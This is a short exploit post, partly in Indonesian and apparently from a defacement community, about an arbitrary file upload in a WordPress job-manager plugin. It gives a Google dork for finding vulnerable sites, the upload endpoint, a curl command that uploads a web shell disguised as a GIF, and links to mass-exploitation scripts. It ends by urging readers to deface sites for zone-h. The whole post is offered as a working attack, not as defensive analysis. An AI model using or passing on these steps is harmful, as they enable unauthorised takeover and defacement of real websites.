Google Dork: inurl:/wp-content/uploads/job-manager-uploads/
Vuln Path: /jm-ajax/upload_file
Example:
www.target.com/jm-ajax/upload_file/
 |
| ( Vuln Target ) |
Exploit:
1. CSRF
2. CURL POST
root # curl -k -F "file=@shell.gif" "http://target.com/jm-ajax/upload_file/"
Upload file anda dengan format .gif/.jpg/.png
Script:
- https://pastebin.com/hp0jJr1g [PHP][CLI Based]
- https://pastebin.com/FaACEDLg [BASH]
Ayo kawan kita boom zone-h sebelum dir upload di banned lagi.